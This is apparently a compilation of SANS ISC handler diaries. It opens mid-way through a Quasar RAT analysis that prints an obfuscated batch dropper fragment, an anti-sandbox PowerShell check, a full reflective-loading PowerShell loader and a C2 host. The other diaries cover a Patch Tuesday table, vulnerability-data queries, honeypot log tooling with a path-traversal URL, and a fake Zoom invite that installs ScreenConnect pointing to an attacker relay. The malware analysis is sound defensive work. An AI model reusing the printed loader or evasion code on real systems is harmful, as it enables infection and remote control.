%y5ysfL1C%se%UnikunR6%t%k44zaPJk% "C209=ilter P" &&%psM62h7K%s%lTgUuB%e%oGydvBuB%t%hOBl% "sRJXLMHX=r');$"&& %KNhC9wR%se%DID28qi%t%AgqDi% "DYcN9B=e[]]@(" && s%ENstJM%e%IRLW%t%A6NRgyd% "k3mI=s8 $OM1" &&%mG1f%se%DWxnLG%t%Oaiu% "YZrsX=rovide" && set "NmTYyNq2=Invo"
g%yQH7u6H%oto :bPY4

:: reject purity renew better trick
:iaryMFz
s%dEnHV9%e%KlnkeRpX%t%CTZS% "INBx=9dihP4hL+W2iB2H0u+lsbZDuvimWfacpQlS1QtvFkz3HJHmQ/+fRyQmOGIySz8noyZRUvv8N2AANhsHyXPLu7v9C0UUWeVPeCrfxZ6fgO1tiA+snvgjBybIc4dLxLLLuKGBUFC/5s2769pZpG1f3Z5ESc78Mgu6r7vlTDR1jw1Ij7J3v1qbePCzXtVOTTZi4W27TCpmLlOdDxgTOX3S+28cdUjQd5Q/PwGHesVj8KmCF8fBs1gGjLBUuINaJZuw2mIMWUjGYIbi7offuFiGATIbI9W2g1ngygxsUdOgxAdA3abf0P9L/M/uLCqWCpIl5U+Obj4u8E2ZvM8eICTZqsALHLz5DFGUl7U/L4cGZRbVWQBwv63bKltQv3q3ma296OsEzTltU5e3TEmGgzq3qPtahJQtYmWr4KTs8CUVdjNUDmfgkSO/NsnDtcE1KhO4ufE0sqnQbJ/WqXgvPEgyWB5/KBV3Rm8IS3/9vflXACiW3Po5tpXRLrToKzHQd8O7glrGljxmKMjuROsHCIrrAPbU5HgyH7vakWyhkqYRwCTw1xic91VIlSwjhFBC0PK6OViBiExWp8xa3KmLda2Gc/mprS3n8xo7xBgQplNRyd24yTNMPjcJExj3te3mXma5UUHMBgCL8BtwS4y9J6nRJ+pN2t1U/MCPWhqkuODuc/ND8SuJ8b2g2BVvLv+30nNEmNgvIaM5CHM05G3P9uoB4XZl1sOVKREa/AqbpdjUBkqFhOJcRVqw/3fdG+pai+MGXYpcpQF0HjNkB69FHPksUn91MneNXnPPx1+VfJ6tCJtrRlrA47yXXInkIdCK4JEsuSKLU8n6Lky1FJ7R7GYRrCqaka0uINE5/0DYjD1MNQLswQmap1B1HhSm+X3m7eh2ZLGFOYwX3oKunKeCXk1tFRVbXoKSHkZgxt5nmlNwxQRVXIyzv1Feu85gIWkiMxihIczvfCrFRMJPDW80JSZWpKs1y/iZlja9AWqoE7pjs6buf7hEhN8d/UJmQcVB20AuvQh+RqGRUD3y4YzFEdTSPMSsC9DaQoZZkL/PVFn8q

The script will rebuild code to launch two Powershell instances. The first one is a simple anti-sandbox detection:

powershell.exe -ep bypass -w hidden -command $bKOPdCKMepGCO5Y9Yf=(Get-Disk).FriendlyName;if ($bKOPdCKMepGCO5Y9Yf -like '*DADY'+' HARD'+'DIS'+'K*' -or $bKOPdCKMepGCO5Y9Yf -like '*QEMU '+'HARDDI'+'SK*') {taskkill /f /im cmd.exe}

It's the first time I see this pretty efficient technique. It will check the system disk type and if it is labelled "DADYHARDDISK" or "QEMU HARDDISK", it will kill itself. That was the case in my sandbox, to I had to patch the script :-)

PS C:\Users\REM>(Get-Disk).FriendlyName
QEMU HARDDISK

The second Powershell is the core infection path. It will download a PNG image that contains the payload to inject into a process. The image is fetched from: hxxps://i[.]ibb[.]co/NdvrqCDQ/j1bz[.]png.

The Powershell code is also obfuscated and relies on environment variables defined in the original Bat file!

powershell.exe -ep bypass -w hidden -command $cVql = [System.Convert]::FromBase64String(($env:vFSz6.Split('.')|ForEach-Object{(Get-Item ('Env:'+$_)).Value})-join'');$yqt3Czji = [Type]::GetType('System.Security.Cryptography.TripleDESCryptoServiceProvider')::new();$yqt3Czji.Key = [byte[]]@(30,81,30,197,159,52,214,36,169,151,167,116,102,113,244,65);$yqt3Czji.Mode = 'ECB';$yqt3Czji.Padding = 'PKCS7';$yRCM = $yqt3Czji.CreateDecryptor().TransformFinalBlock($cVql,0,$cVql.Length);$XfQ7 = New-Object ('System'+'.IO'+'.Me'+'morySt'+'ream') -ArgumentList (,$yRCM);$nlt6O = New-Object ('Syste'+'m.IO'+'.Me'+'morySt'+'rea'+'m');$tej8sBLE = New-Object ('Syst'+'em.IO.'+'Compre'+'ssio'+'n.G'+'ZipSt'+'rea'+'m') -ArgumentList ($XfQ7, [IO.Compression.CompressionMode]('Decompress'));$tej8sBLE.CopyTo($nlt6O);$UWoQx = $nlt6O.ToArray();$uGjPve = New-Object ('Sys'+'tem'+'.Secu'+'rity'+'.Cry'+'ptogra'+'phy.'+'SHA256'+'Crypt'+'oSer'+'viceP'+'rovid'+'er');$s86s8 = $uGjPve.ComputeHash($UWoQx);$OM1Hjgf = [byte[]]@(26,203,98,66,123,85,187,210,99,96,236,147,173,234,222,190,107,34,223,203,242,234,205,211,250,22,173,56,84,163,184,31);if (-Not (Compare-Object $s86s8 $OM1Hjgf)) {$dfGJB = (Get-CimInstance ('Win32_'+'Pro'+'cess') -Filter ProcessId=$pid).CommandLine;foreach ($EsLaimFu in [AppDomain]::CurrentDomain.GetAssemblies()){if ($EsLaimFu.GlobalAssemblyCache -And $EsLaimFu.Location.Contains('mscorl'+'ib.dll')){foreach ($pMdg2Ay in $EsLaimFu.GetType('Syste'+'m.Refl'+'ect'+'ion.As'+'sembly').GetMethods('Pub'+'lic,St'+'atic')){if ($pMdg2Ay.ToString()[38] -eq ')') {$pMdg2Ay.Invoke($null, (,$UWoQx)).EntryPoint.Invoke($null, (,[string[]](,$dfGJB)))}}}}}

You can read interesting strings like "GetAssemblies", "SystemReflectionAssembly" or "Invoke" that are used to perform code injection.

Persistenace is implemented throught a scheduled task:

schtasks /create /xml 4TCqY.xml /tn f4a22537-7897-4a26-90de-51508f11b41d

The C2 server is JamieRose-42682[.]portmap[.]io.

[1] https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat
[2] https://www.virustotal.com/gui/file/06463c161db81b0714be03cd33431730a5fa56e0019901b03ec61943e08f8e9f/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Microsoft today released patches for 67 vulnerabilities. 10 of these vulnerabilities are rated critical. One vulnerability has already been exploited and another vulnerability has been publicly disclosed before today.

Notable Vulnerabilities:

CVE-2025-33053: WebDAV remote code execution vulnerability. This vulnerability has already been exploited. Microsoft rates it as important. This affects the client part of WebDAV, not the server part. User interaction is required. If an attacker can control the file name and path, they can trick the victim into executing code over the network. This is another issue related to the still supported remnants of Internet Explorer, like the Scripting Engine and MSHTML. You must apply the IE Cumulative Update to patch, even if you no longer use IE.

CVE-2025-33073: A Windows SMB client elevation of Privilege Vulnerability. This vulnerability has already been disclosed but Microsoft has not yet observed it being exploited. An attacker exploiting this vulnerability will gain SYSTEM privileges. But Microsoft considers successful exploitation less likely. An attacker would need the victim to connect to a malicious SMB server.

%%CVE:2025-32710%%: An unauthenticated remote code execution vulnerability in the remote desktop service. But it requires the exploitation of a race condition. Microsoft believes it is less likely that an exploit will become available.

%%CVE:2025-29828%%: Microsoft states that this vulnerability is due to a "missing release of memory after effective lifetime in Windows Cryptographic Services allows an unauthorized attacker to execute code over a network". This vulnerability worries me a bit if this could be used to exploit various TLS services. However, not enough is known to gauge the exploitability. Microsoft considers the attack as "highly complex" and exploitation as less likely.

Microsoft Office Remote Code Execution Vulnerability: Four of the critical vulnerabilities apply to Microsoft Office. These are rated critical as they may be exploited via the preview pane, without actually opening the malicious document.

 

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET and Visual Studio Remote Code Execution Vulnerability
%%cve:2025-30399%%	No	No	-	-	Important	7.5	6.5
Cert CC: CVE-2025-3052 InsydeH2O Secure Boot Bypass
%%cve:2025-3052%%	No	No	-	-	Important	6.7	5.8
DHCP Server Service Denial of Service Vulnerability
%%cve:2025-32725%%	No	No	-	-	Important	7.5	6.5
%%cve:2025-33050%%	No	No	-	-	Important	7.5	6.5
Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability
%%cve:2025-32724%%	No	No	-	-	Important	7.5	6.5
Microsoft AutoUpdate (MAU) Elevation of Privilege Vulnerability
%%cve:2025-47968%%	No	No	-	-	Important	7.8	6.8
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2025-47165%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-47174%%	No	No	-	-	Important	7.8	6.8
Microsoft Office Remote Code Execution Vulnerability
%%cve:2025-47162%%	No	No	-	-	Critical	8.4	7.3
%%cve:2025-47953%%	No	No	-	-	Critical	8.4	7.3
%%cve:2025-47164%%	No	No	-	-	Critical	8.4	7.3
%%cve:2025-47167%%	No	No	-	-	Critical	8.4	7.3
%%cve:2025-47173%%	No	No	-	-	Important	7.8	6.8
Microsoft Outlook Remote Code Execution Vulnerability
%%cve:2025-47171%%	No	No	-	-	Important	6.7	5.8
%%cve:2025-47176%%	No	No	-	-	Important	7.8	6.8
Microsoft PowerPoint Remote Code Execution Vulnerability
%%cve:2025-47175%%	No	No	-	-	Important	7.8	6.8
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2025-47163%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-47166%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-47172%%	No	No	-	-	Critical	8.8	7.7
Microsoft Word Remote Code Execution Vulnerability
%%cve:2025-47957%%	No	No	-	-	Important	8.4	7.3
%%cve:2025-47168%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-47169%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-47170%%	No	No	-	-	Important	7.8	6.8
Nuance Digital Engagement Platform Spoofing Vulnerability
%%cve:2025-47977%%	No	No	-	-	Important	7.6	6.6
Power Automate Elevation of Privilege Vulnerability
%%cve:2025-47966%%	No	No	-	-	Critical	9.8	8.5
Remote Desktop Protocol Client Information Disclosure Vulnerability
%%cve:2025-32715%%	No	No	-	-	Important	6.5	5.7
Visual Studio Remote Code Execution Vulnerability
%%cve:2025-47959%%	No	No	-	-	Important	7.1	6.2
Web Distributed Authoring and Versioning (WEBDAV) Remote Code Execution Vulnerability
%%cve:2025-33053%%	No	Yes	-	-	Important	8.8	8.2
Win32k Elevation of Privilege Vulnerability
%%cve:2025-32712%%	No	No	-	-	Important	7.8	6.8
Windows App Control for Business Security Feature Bypass Vulnerability
%%cve:2025-33069%%	No	No	-	-	Important	5.1	4.5
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2025-32713%%	No	No	-	-	Important	7.8	6.8
Windows DWM Core Library Information Disclosure Vulnerability
%%cve:2025-33052%%	No	No	-	-	Important	5.5	4.8
Windows Installer Elevation of Privilege Vulnerability
%%cve:2025-32714%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-33075%%	No	No	-	-	Important	7.8	6.8
Windows KDC Proxy Service (KPSSVC) Remote Code Execution Vulnerability
%%cve:2025-33071%%	No	No	-	-	Critical	8.1	7.1
Windows Local Security Authority (LSA) Denial of Service Vulnerability
%%cve:2025-33056%%	No	No	-	-	Important	7.5	6.5
%%cve:2025-33057%%	No	No	-	-	Important	6.5	5.7
Windows Media Elevation of Privilege Vulnerability
%%cve:2025-32716%%	No	No	-	-	Important	7.8	6.8
Windows Netlogon Elevation of Privilege Vulnerability
%%cve:2025-33070%%	No	No	-	-	Critical	8.1	7.1
Windows Recovery Driver Elevation of Privilege Vulnerability
%%cve:2025-32721%%	No	No	-	-	Important	7.3	6.4
Windows Remote Access Connection Manager Elevation of Privilege Vulnerability
%%cve:2025-47955%%	No	No	-	-	Important	7.8	6.8
Windows Remote Desktop Services Remote Code Execution Vulnerability
%%cve:2025-32710%%	No	No	-	-	Critical	8.1	7.1
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
%%cve:2025-33064%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-33066%%	No	No	-	-	Important	8.8	7.7
Windows SDK Elevation of Privilege Vulnerability
%%cve:2025-47962%%	No	No	-	-	Important	7.8	6.8
Windows SMB Client Elevation of Privilege Vulnerability
%%cve:2025-32718%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-33073%%	Yes	No	-	-	Important	8.8	7.9
Windows Schannel Remote Code Execution Vulnerability
%%cve:2025-29828%%	No	No	-	-	Critical	8.1	7.1
Windows Security App Spoofing Vulnerability
%%cve:2025-47956%%	No	No	-	-	Important	5.5	4.8
Windows Shortcut Files Security Feature Bypass Vulnerability
%%cve:2025-47160%%	No	No	-	-	Important	5.4	4.7
Windows Standards-Based Storage Management Service Denial of Service Vulnerability
%%cve:2025-33068%%	No	No	-	-	Important	7.5	6.5
Windows Storage Management Provider Information Disclosure Vulnerability
%%cve:2025-32719%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-32720%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-33058%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-33059%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-33060%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-33061%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-33062%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-33063%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-33065%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-24068%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-24069%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-24065%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-33055%%	No	No	-	-	Important	5.5	4.8
Windows Storage Port Driver Information Disclosure Vulnerability
%%cve:2025-32722%%	No	No	-	-	Important	5.5	4.8
Windows Task Scheduler Elevation of Privilege Vulnerability
%%cve:2025-33067%%	No	No	-	-	Important	8.4	7.3
Windows Virtualization-Based Security (VBS) Information Disclosure Vulnerability
%%cve:2025-47969%%	No	No	-	-	Important	4.4	3.9

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

As an avid daily reader of TLDR Information Security I benefit twofold. First, I gain interesting insights and recommendations regarding launches and tools, where I first learned about OctoSQL. Second, concerning vulnerability details inevitably land in my inbox on a near daily basis. Aside from my recommendation to join the TLDR InfoSec mailing list, diary readers also benefit twofold as, herein, I share the use of OctoSQL as a fast CLI interface to vulnerability data aggregated via CVE-Vulnerability-Information-Downloader. If ever you’ve wanted to join vulnerability data (CVE, CVSS, EPSS, etc) from disparate data sources and file types, this is the diary for you.

The 03 JUN 2025 edition of TLDR InfoSec brought us details on Qualcomm’s three patched zero-day vulnerabilities in its Adreno GPU driver that are being actively exploited in targeted attacks. Per the TLDR InfoSec issue, CVE-2025-21479 and CVE-2025-21480 cause memory corruption through unauthorized GPU command execution while CVE-2025-27038 is a use-after-free vulnerability in Chrome’s graphics rendering. “Google’s Threat Analysis Group (TAG) confirmed these vulnerabilities are under limited, targeted exploitation, and Qualcomm provided patches to device manufacturers in May with urgent deployment recommendations.” There has been a pattern of Qualcomm chipset vulnerabilities being exploited by threat actors, including a previous zero-day used adversially with Cellebrite software to unlock activists’ and journalists’ Android devices.[1]
While this reference was an effective summary of the issues, it did not contain vulnerabilty stats with which to assess severity and exploitability.
One of my favorite raw data source aggregators for such details is the CVE-Vulnerability-Information-Downloader. With updated a data and OctoSQL in hand, a few useful SQL queries later, we’ll know everything we need. Yes, you can also search web sources, but you may have production scenarios with limited egress access coupled with the need an for easily extensible full-blown dataflow engine which can be used to add a SQL interface to your own applications.

Be sure Docker or the like (Rancher Desktop) are available, and acquire a NVD API key if you don’t already have one. In your preferred data or tools directory:

git clone https://github.com/trinitor/CVE-Vulnerability-Information-Downloader.git
cd CVE-Vulnerability-Information-Downloader
cp env_example .env

Edit the .env file and add your NVD API key, then run:

docker compose up -d  
docker exec -it vulnerability-tables-cron bash /opt/scripts/download.sh

Note that the docker exec download process can take up to twenty minutes to finish. Be patient, don’t panic. ;-)
This will populate the CVE-Vulnerability-Information-Downloader/data/vulnerability-tables-cron/output directory of your installation CSV and JSON versions of CISA Known Exploited Vulnerabilities (KEV) catalog, CVE, CVSS, and EPSS files. This nicely sets up our situation, albeit arbitrary, where we’d like to query these disparate data file types and join key elements such as known exploitation and EPSS score for specific CVEs.
Here’s where OctoSQL provides capably. I installed OctoSQL on Ubuntu 25.04 with brew:

brew install cube2222/octosql/octosql

The OctoSQL binary is available via any path after installing via brew, it’s my preferred one-shot approach.
Just cd to CVE-Vulnerability-Information-Downloader/data/vulnerability-tables-cron/output and you’re ready to go.
I first crafted a query to return all the Qualcomm CVEs in CISA’s KEV (CISA_known_exploited.csv) catalog to validate the assertion that there has been a pattern of Qualcomm chipset vulnerabilities being exploited by threat actors.

octosql "SELECT vendorProject, product, CVE, dateAdded FROM CISA_known_exploited.csv WHERE vendorProject='Qualcomm'"

Figure 1: Qualcomm CVEs in KEV catalog

The assertion is valid, as seen in Figure 1: Qualcomm vulnerabilities have indeed been victim to active exploitation in the wild.
What about the three currently referenced CVEs CVE-2025-21480, 21479, and 27038? If already known to be exploited, what is the probability of exploitation per EPSS?

A query to join CISA’s KEV (CISA_known_exploited.csv) and FIRST’s EPSS.json follows:

octosql "SELECT                        
    c.CVE,
    c.vendorProject,
    c.product,
    c.vulnerabilityName,
    c.dateAdded,
    e.EPSS
FROM
    CISA_known_exploited.csv AS c
INNER JOIN
    EPSS.json AS e
ON
    c.CVE = e.CVE
WHERE CVE='CVE-2025-21480' OR CVE='CVE-2025-21479' OR CVE='CVE-2025-27038'"

Figure 2: KEV & EPSS join for Qualcomm CVEs

As seen in Figure 2, those are low EPSS scores, indicating a rather low probability of exploitation. What about all the other known exploited Qualcomm CVEs? Here again I join KEV Catalog results with EPSS to answer the question with results produced in descending order by EPSS score.

octosql "SELECT                        
    c.CVE,
    c.vendorProject,
    c.product,
    c.vulnerabilityName,
    c.dateAdded,
    e.EPSS
FROM
    CISA_known_exploited.csv AS c
INNER JOIN
    EPSS.json AS e
ON
    c.CVE = e.CVE
WHERE vendorProject='Qualcomm' ORDER BY EPSS DESC"

Figure 3: Qualcomm KEV entries by EPSS rank

Turns out the highest scoring Qualcomm CVE is one the current three of interest, CVE-2025-27038, with a score of only 0.16672 as seen in Figure 3.
What does it all mean?
Per Jay Jacobs of Cyentia, EPSS is driven by data and has a strong temporal aspect. It only learns from the exploitation activity it sees (from data partners) and predicts on the vulnerability attributes presented. Those with low EPSS scores on the KEV are more likely to be “Access Vector:Local”, “Confidentiality:None”, require some privileges and/or be without published exploit code. Those with higher EPSS scores tend to have exploit code published, be integrated into pen testing tools and scanners, and/or involve remote command execution/injection. Likelihood of exploitation for these Qualcomm vulns is low due to “Access Vector:Local” above all else.
One additional excellent feature offered by OctoSQL is the ability to explain query plans. As you build complex queries, and potentially productionize them, explainability will be important. Rerunning our last query with the –explain flag set yields an informative visualization as seen in Figure 4. Setting it to 1 produces a query plan without type and schema information, while setting it to 2 includes type and schema. I use 1 here for visual clarity.

octosql "SELECT                        
    c.CVE,
    c.vendorProject,
    c.product,
    c.vulnerabilityName,
    c.dateAdded,
    e.EPSS
FROM
    CISA_known_exploited.csv AS c
INNER JOIN
    EPSS.json AS e
ON
    c.CVE = e.CVE
WHERE vendorProject='Qualcomm' ORDER BY EPSS DESC" --explain 1

Figure 4:

I’ve barely scratched the surface of its potential use cases here, but I’ve incorporated OctoSQL into my personal practice, and truly appreciate the ability to query disparate sources in my terminal. I also appreciate the ability to download vulnerability data use the information for enrichment courtesy of the CVE Vulnerability Information Downloader. Please consider both of these offerings for your on purpose and benefit.

Cheers…until next time.

Russ McRee | @holisticinfosec | infosec.exchange/@holisticinfosec | LinkedIn.com/in/russmcree

References

[1] Prasanna Gautam, Eric Fernandez & Sammy Tbeile, TLDR Information Security, 03 JUN 2025
[2] Jay Jacobs, Why does EPSS score some CVEs on the KEV so low?, https://www.cyentia.com/integrating-epss-and-kev, retrieved 05 JUN 2025

Inspired by Xavier's diary entry "A PNG Image With an Embedded Gift", I updated my pngdump.py program to enable the extraction of chunks and extra data (similar to my other analysis tools, like pngdump.py).

Here is the analysis of the trojanized PNG file Xavier discussed:

Notice that this PNG file has 11 "items": 10 valid items (1 header and 9 chunks) and one invalid item: unexpected data after the terminating chunk (IEND).

This can easily be selected with -s 11:

That's the appended payload:

Didier Stevens
Senior handler
blog.DidierStevens.com

Wireshark release 4.4.7 fixes 1 vulnerability (%%cve:2025-5601%%) and 8 bugs.

Didier Stevens
Senior handler
blog.DidierStevens.com

There are some upcoming DShield honeypot [1] changes that introduce some opportunities for additional customization and data analysis. For most users, no additional actions are needed. A couple of those changes:

• dshield.ini file move from /etc/ to /srv/dshield/etc/ - A symbolic link will exist for the previous file location for backward compatibility. If you have automation to update anything in /etc/dshield.ini, you may need to update your scripts. Some tools can recreate the file in the previous location, breaking the link to the new location.
   
• New web honeypot with new options (thanks, Mark Baggett!) - By default, no local logs are generated, which is helpful to save space, but means some customizations may be required if you want to maintain local logs. 

Local Logging

For my own honeypots, I like to maintain local logs. This can be helpful for larger volumes of data or there is a need to analyze the data over time using your own tools. Downloading the information from your ISC portal account is useful, but may not include all data fields. In addition, some daily volumes make it very difficult, if not impossible, to download directly using the options given from the portal. Recently, one of my honeypots had a local web honeypot log of almost 60GB, which was only for one day. This was due to an increase in activity on 5/19/2025, including some URLs noted by Guy a few weeks prior [2]. 
 

Figure 1: Web honeypot logs showing large volumes of traffic from %%ip:193.29.13.44%% and many other hosts on 5/19/2025. 

 

Figure 2: Volume of data storage for multiple honeypots, showing some large web honeypot logs. 

 

New Web Honeypot [3]

The new web honeypot allows for much more customization for the honeypot itself, which opens up a lot of opportunities to gather data. One of the items that I'm most excited about is that POST data will now be collected within the log files.

Getting POST data from new web honeypot log:

# read all files in /logs starting with "webhoneypot"
# cat /logs/webhoneypot* 

# filter for any data containing the string POST
# grep POST

# find data with the following URL path: "/cgi-bin/../../../../../../../../../../bin/sh"
# jq 'select(.url=="/cgi-bin/../../../../../../../../../../bin/sh")'

# get the POST .data field, sort it, count unique values and sort by the count
# jq .data | sort | uniq -c | sort -n
#

cat /logs/webhoneypot* | grep POST | jq 'select(.url=="/cgi-bin/../../../../../../../../../../bin/sh")' \
| jq .data | sort | uniq -c | sort -n

Figure 3: Gathering POST data from new local web honeypot logs. 

 

For the old web honeypot logs, no data is available in the local logs, but it can be retrieved in many ways if you have PCAPs. One method is tshark [4]. 

# read all PCAP files in the /dumps directory
# for file in /dumps/*.pcap

# for each file, read it with tshark
# do echo "$file";tshark -n -r "$file" 

# filter for POST requests 
# -Y "http.request.method == \"POST\"" 

# select URI and data fields
# -T fields -e http.request.uri -e data.data

# only show results with "cgi-bin" 
# grep "cgi-bin";done

# look for any POST data in files where the URL contains "cgi-bin"
#  cat /logs/webhoneypot* | grep POST | jq 'select(.url | contains("cgi-bin"))' | \
#  jq .data | sort | uniq -c | sort -n


for file in /dumps/*.pcap;do echo "$file";tshark -n -r "$file" -Y "http.request.method == \"POST\"" \
-T fields -e http.request.uri -e data.data | grep "cgi-bin";done

 

Figure 4: POST data exists, but a PCAP is needed. The data does not appear in local JSON logs.

 

Modifications After Honeypot Upgrade

In a previous diary, I went through my steps to customize my honeypot [5] and many of these changes are to try and maintain the same kind of local log data storage. 

Function of Change	File / Folder	Change Made
Add filebeat path to look for log file in new location for forwarding to DShield-SIEM [6]	/etc/filebeat/filebeat.yml	Added to paths: - /srv/log/webhoneypot*.json
Update firewall rules for remote access	/etc/network/iptables	Ran script for automatic update [7]
Add web honeypot local logging	/srv/dshield/etc/dsield.ini	Added to [plugin:tcp:http] stanza: enable_local_logs=true
Add web honeypot local logging location	/srv/dshield/etc/dsield.ini	Added to [plugin:tcp:http] stanza: local_logs_file=/srv/log/webhoneypot-srvconfig.json
Fix dshield.ini permissions due to the use of 'sed -i' inplace editing [8]	/srv/dshield/etc/dshield.ini	sudo chgrp webhpot /srv/dshield/etc/dshield.ini
Update group ownership of folder so 'webhpot' user can save logs to location	/srv/log	sudo chgrp webhpot /srv/log

 

To help automate this a bit, I created a bash script:

# specify file name to modify
file="/etc/network/iptables"

# specify domain of home domain name
domain="isc.sans.edu"

# delete any rule specifying destination port 12222
sudo sed -i "/\b\(dport 12222\)\b/d" $file

# specify ip addresses to allow for admin access
# space delimited
custom_ips=""
private_ips="172.16.0.0/12 192.168.0.0/16 10.0.0.0/8"

# get primary interface to the internet
interface=$(ip route get 1.1.1.1 | grep -Po '(?<=dev\s)\w+' | cut -f1 -d ' ')

# get remote IP address of my home domain
# only use first result
remoteip=$(host $domain | grep "has address" | cut -d " " -f 4 | head -1)

# add rule after line 'START: allow access to admin ports for remote IPs'
# double quotes used to expand variables while preserving whitespace
sudo sed -i "/START: allow access to admin ports for local IPs/a -A INPUT -i $interface -s $remoteip -p tcp --dport 12222 -j ACCEPT" $file

# add any other ip addresses you may want
# add rule after line 'START: allow access to admin ports for custom IPs'
# double quotes used to expand variables while preserving whitespace
for item in $custom_ips; do
  sudo sed -i "/START: allow access to admin ports for local IPs/a -A INPUT -i $interface -s $item -p tcp --dport 12222 -j ACCEPT" $file
done

# add any other ip addresses you may want
# add rule after line 'START: allow access to admin ports for private IPs'
# double quotes used to expand variables while preserving whitespace
for item in $private_ips; do
  sudo sed -i "/START: allow access to admin ports for local IPs/a -A INPUT -i $interface -s $item -p tcp --dport 12222 -j ACCEPT" $file
done

# add extra logging location for longer retention of iptables logs
sed -i '/localcopy\=/d' /srv/dshield/etc/dshield.ini
sed -i '/\[plugin:tcp:http\]/i localcopy=/logs/dshield_firewall_.log' /srv/dshield/etc/dshield.ini

# update new dshield.ini to enable local web-honeypot logging
sed -i '/enable_local_logs\=/d' /srv/dshield/etc/dshield.ini
sed -i '/\[plugin\:tcp\:http\]/a enable_local_logs\=true' /srv/dshield/etc/dshield.ini
sed -i '/local_logs_file\=/d' /srv/dshield/etc/dshield.ini
sed -i '/\[plugin\:tcp\:http\]/a local_logs_file\=\/srv\/log\/webhoneypot-srvconfig.json' /srv/dshield/etc/dshield.ini

# fix group ownership permissions
sudo chgrp webhpot /srv/dshield/etc/dshield.ini

# modify permission for folder I'm putting my logs in so web honeypot can write to it
sudo chgrp webhpot /srv/log

# add new file logging location to filebeat for web honeypot logs: /srv/log/webhoneypot*.json
sudo sed -i '/\/srv\/log\/webhoneypot\*.json/d' /etc/filebeat/filebeat.yml
sudo sed -i '/srv\/db\/webhoneypot\*.json/a \ \ \ \ \-\ \/srv\/log\/webhoneypot\*.json' /etc/filebeat/filebeat.yml

# restart web honeypot after changes
sudo systemctl restart web-honeypot

 

This automated my reconfiguration, but without doing anything else, the web honeypot log file would grow forever. Since I still like having my honeypot files broken down by day, I created a cron job to move the web honeypot file to my log archive location every day after it reboots. 

# -------------script contents-------------
# get the current date and time to be used within web-honeypot filename
TIMESTAMP=`date "+%Y-%m-%d_%H:%M:%S"`

mv /srv/log/webhoneypot-etcconfig.json /logs/webhoneypot-etc-$TIMESTAMP.json
mv /srv/log/webhoneypot-srvconfig.json /logs/webhoneypot-srv-$TIMESTAMP.json

# -------------cron contents-------------
@reboot sleep 30 && ~/move_webhoneypot_logs.sh

 

During the process I learned that command line tools can be useful, but may create some challenges when not properly understood, such as "sed -i". Thoughts or suggestions for the future? Let us know and keep logging!

 

[1] https://github.com/DShield-ISC/dshield
[2] https://isc.sans.edu/diary/31906
[3] https://github.com/DShield-ISC/dshield/tree/dev/srv/web
[4] https://www.wireshark.org/docs/man-pages/tshark.html
[5] https://isc.sans.edu/diary/30024
[6] https://github.com/bruneaug/DShield-SIEM
[7] https://isc.sans.edu/diary/Honeypot+Iptables+Maintenance+and+DShieldSIEM+Logging/31876
[8] https://unix.stackexchange.com/questions/276651/sed-with-inplace-editing-changes-group-ownership-of-file

 

--
Jesse La Grew
Handler

Collaborative tools are really popular these days. Since the COVID-19 pandemic, many people switched to remote work positions and we need to collaborate with our colleagues or customers every day. Tools like Microsoft Teams, Zoom, WebEx, (name your best solution), ... became popular and must be regularly updated.Yesterday, I received an interesting email with a fake Zoom meeting invitation:

When you click on join, you'll visite a website. The HTML page is not malicious but it asks you to install the latest Zoom client:

If you click on the download button, you'll get a nice "gift": an executable called "Session.ClientSetup.exe" (SHA256:f5e467939f8367d084154e1fefc87203e26ec711dbfa83217308e4f2be9d58be).

This malware is very simple and is just a downloader. It dumps on the disk an MSI package:

C:\Users\admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\84cae30d9bf18843\ScreenConnect.ClientSetup.msi

Then installs it:

"C:\Windows\System32\msiexec.exe" /i "C:\Users\admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\84cae30d9bf18843\ScreenConnect.ClientSetup.msi"

Finally, the newly installed tool is launched and configured (also installed as a service for persistence)

"C:\Program Files (x86)\ScreenConnect Client (84cae30d9bf18843)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=tqtw21aa.anondns.net&p=8041&s=6c9715c2-054f-49cc-b888-4084388fc1c5&k=BgIAAACkAABSU0ExAAgAAAEAAQC9dnuqTcFjsgNQridID1kdRpR1VfdwtJjAbZxJ7OqFEjxozVJJ4Fk%2f6wGXUk5FLry2iN4xJDNUkf936O5CbriOKbT5HTkP0KzDmnvehBgv0%2b2%2fHQKELyECMoUtB30UYsSUj%2fyrCMsNLX4BcMNVuQbCBHZX7joQ15PIeSAzEA1ZNI9h8q2Toz7hToU1Rv9kyNBeIoulf9o%2f3FFzBoJYcABIvPgkJu8DHWjJdqR30nYdCT7iJadZIr62PCaEcStVmdD7YDMjizQar9ehuiswtnWKYu9AwCiNiEbNKlW8ymbGR5nI4sfqkAaPoz%2fnP8rmoIeBiy7fzYg3rl7nKjwzPqCw&c=&c=&c=XigRocky&c=&c=&c=&c=&c="

